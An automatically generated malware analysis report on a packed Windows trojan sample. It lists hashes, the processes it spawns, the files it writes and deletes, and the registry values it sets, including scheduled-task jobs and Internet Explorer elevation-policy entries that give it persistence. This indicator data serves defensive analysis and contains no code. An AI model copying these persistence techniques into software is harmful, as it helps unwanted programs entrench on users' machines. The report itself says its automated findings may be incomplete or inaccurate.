Skip to main content

Trojan.Win32.Alureon_beadc9153c


Trojan-Downloader.Win32.Genome.ranc (Kaspersky), Trojan.Win32.Alureon.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan-Downloader, Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: beadc9153c208162b9b88fc0c811cda7

SHA1: fea120e9280891030eca5cb806f886aa8eafb232

SHA256: 83362388e95574f5e9b85ac20a558c63961c295229663de884a5ebd123be8fcb

SSDeep: 1536:ypgpHzb9dZVX9fHMvG0D3XJjC/ZMJte/zMqp/o41ahfK:wgXdZt9P6D3XJjC/ZMJtQdo4sE

Size: 69479 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2009-12-06 00:50:52

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

PopcornewUpdate.exe:752
PopcornewUpdate.exe:2612
PopcornewUpdate.exe:596
PopcornewUpdate.exe:1920
PopcornewUpdate.exe:1112
PopcornewUpdate.exe:1252
PopcornewUpdate.exe:1384
%original file name%.exe:1380
popcornew.exe:2548
popcornew.exe:1972
popcornew.exe:2488
nsy2.tmp:1448
MsiExec.exe:1520

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process PopcornewUpdate.exe:752 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Program Files%\Popcornew\Update\Install\{6ABF9003-3091-44DE-97C3-2E25768D1354}\Popcornew_7.3.msi (43956 bytes)
%Program Files%\Popcornew\Update\Download\{82BE43A3-77AF-4978-B081-893EF286DC00}\7.3.0.0\Popcornew_7.3.msi (43956 bytes)

The Trojan deletes the following file(s):

%Program Files%\Popcornew\Update\Install (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\{DD3B302E-4E37-414C-A5B8-D945E219DC72}-Popcornew_7.3.msi (0 bytes)

The process PopcornewUpdate.exe:596 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_gu.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_en.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_cs.dll (23 bytes)
%Program Files%\Popcornew\Update\PopcornewUpdate.exe (601 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_lt.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_bg.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdate.dll (5873 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pl.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_te.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_am.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_kn.dll (30 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_id.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_no.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pt-BR.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_et.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ta.dll (30 bytes)
%WinDir%\Tasks\PopcornewUpdateTaskMachineCore.job (906 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_es.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sk.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fil.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_da.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_uk.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hi.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_nl.dll (30 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_en-GB.dll (28 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_th.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_is.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_el.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\psmachine.dll (673 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sw.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_es-419.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_mr.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_it.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fr.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ms.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_pt-PT.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ml.dll (26 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_zh-CN.dll (16 bytes)
%WinDir%\Tasks\PopcornewUpdateTaskMachineUA.job (910 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ja.dll (18 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateOnDemand.exe (46 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_bn.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\psuser.dll (673 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hu.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_lv.dll (30 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fa.dll (28 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_zh-TW.dll (22 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sl.dll (30 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_tr.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ru.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ro.dll (30 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ur.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ca.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ar.dll (20 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\npPopcornewUpdate3.dll (1281 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\PopcornewCrashHandler.exe (601 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_ko.dll (18 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sr.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateHelper.msi (32 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_hr.dll (24 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_fi.dll (29 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdate.exe (601 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\PopcornewUpdateBroker.exe (52 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_iw.dll (20 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_de.dll (25 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_sv.dll (23 bytes)
%Program Files%\Popcornew\Update\1.3.25.0\goopdateres_vi.dll (22 bytes)

The process %original file name%.exe:1380 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy2.tmp (37784 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsi1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn3.tmp (0 bytes)

The process popcornew.exe:2488 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\Popcornew\state (10195 bytes)

The process nsy2.tmp:1448 makes changes in the file system.


The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewCrashHandler.exe (113 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUT5.tmp (20507 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sl.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hu.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-TW.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bg.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sw.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_iw.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_am.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ro.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_gu.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lv.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psmachine.dll (162 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bn.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_te.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ko.dll (18 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ru.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ca.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ar.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_cs.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sv.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateHelper.msi (32 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en-GB.dll (28 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_it.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fil.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-PT.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_el.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateOnDemand.exe (46 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fa.dll (28 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-BR.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\npPopcornewUpdate3.dll (235 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ta.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_uk.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es-419.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_no.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_da.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_tr.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_nl.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_kn.dll (30 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ms.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ja.dll (18 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_mr.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_id.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ur.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sr.dll (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hr.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fi.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-CN.dll (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp (28 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_et.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psuser.dll (162 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ml.dll (26 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fr.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_de.dll (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdate.exe (113 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_is.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lt.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateBroker.exe (52 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hi.dll (29 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pl.dll (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdate.dll (1990 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_th.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_vi.dll (22 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sk.dll (24 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewCrashHandler.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ja.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hu.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bg.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sw.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUT5.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_iw.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_am.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_mr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_gu.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lv.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psmachine.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_bn.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_te.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ko.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ru.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ca.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ar.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_cs.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sv.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateHelper.msi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en-GB.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_it.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fil.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-PT.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_el.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateOnDemand.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fa.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pt-BR.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\npPopcornewUpdate3.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ta.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_uk.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es-419.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_no.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_da.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_es.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_en.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_tr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_nl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_kn.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ms.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-TW.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_id.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ur.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fi.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ro.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_et.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\psuser.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_ml.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_fr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_de.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_zh-CN.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdate.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_is.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_lt.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\PopcornewUpdateBroker.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hi.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdate.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_th.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_vi.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sk.dll (0 bytes)

Registry activity

The process PopcornewUpdate.exe:752 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "48 C7 61 A8 C1 82 CE 51 7C 1E 4A 39 21 5A AF 0A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Popcornew\Update\proxy]
"source" = "IE"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"lang" = "en"
"client" = "138"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\C]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"brand" = "GGLS"
"tttoken" = "PopcornewToken"
"LastCheckSuccess" = "1434736517"
"pv" = "7.3.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\F]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"InstallTime" = "1434736505"

[HKU\.DEFAULT\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\D]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\A]
"BaseClass" = "Drive"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"browser"
"LastInstallerSuccessLaunchCmdLine"

[HKLM\SOFTWARE\Popcornew\Update\ClientStateMedium\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"eulaaccepted"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"ap"

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"c"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"eulaaccepted"
"LastInstallerExtraCode1"
"experiment_labels"

[HKLM\SOFTWARE\Popcornew\Update]
"LastInstallerResult"
"LastInstallerResultUIString"
"LastInstallerExtraCode1"

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"UpdateAvailableCount"

[HKLM\SOFTWARE\Popcornew\Update]
"uid"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"LastInstallerResultUIString"
"LastInstallerError"

[HKLM\SOFTWARE\Popcornew\Update]
"LastInstallerError"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"UpdateAvailableSince"

[HKLM\SOFTWARE\Popcornew\Update]
"LastInstallerSuccessLaunchCmdLine"

[HKLM\SOFTWARE\Popcornew\Update\ClientState\{82BE43A3-77AF-4978-B081-893EF286DC00}]
"iid"
"LastInstallerResult"

The process PopcornewUpdate.exe:2612 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "98 EF 3D 20 9B 90 01 19 58 E0 E4 F0 4D 35 DE 57"

[HKCU\Software\Popcornew\Update\proxy]
"source" = "IE"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Popcornew\Update\network\secure]
"sk"
"c"

The process PopcornewUpdate.exe:596 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Popcornew\Update]
"Version" = "1.3.25.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=9]
"ProductName" = "Popcornew Update"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=3]
"vendor" = "The Popcornew Group"

[HKCR\CLSID\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}\ProgID]
"(Default)" = "Popcornew.Update3WebControl.3"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=3]
"ProductName" = "Popcornew Update"

[HKCR\CLSID\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}]
"(Default)" = "Popcornew Update Plugin"

[HKCR\CLSID\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}]
"(Default)" = "Popcornew Update Plugin"

[HKLM\SOFTWARE\Popcornew\Update]
"Path" = "%Program Files%\Popcornew\Update\PopcornewUpdate.exe"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}]
"Policy" = "3"

[HKLM\SOFTWARE\Popcornew\Update\Clients\{B14D2C5E-4B8A-4C67-BB4E-F1CF2C680AEC}]
"Name" = "Popcornew Update"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Popcornew\Update]
"PopcornewUpdate.exe" = "Popcornew Update"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{909F2E0D-650B-46B9-A27D-5A893BDDF58D}]
"Policy" = "3"
"AppPath" = "%Program Files%\Popcornew\Update\1.3.25.0"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=9]
"vendor" = "The Popcornew Group"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{ADA3F4C6-F003-41AE-968D-6C2FFF09DA28}]
"AppName" = "PopcornewUpdate.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\MozillaPlugins\@tools.Popcornew.com/Popcornew Update;version=3]
"Description" = "Popcornew Update"

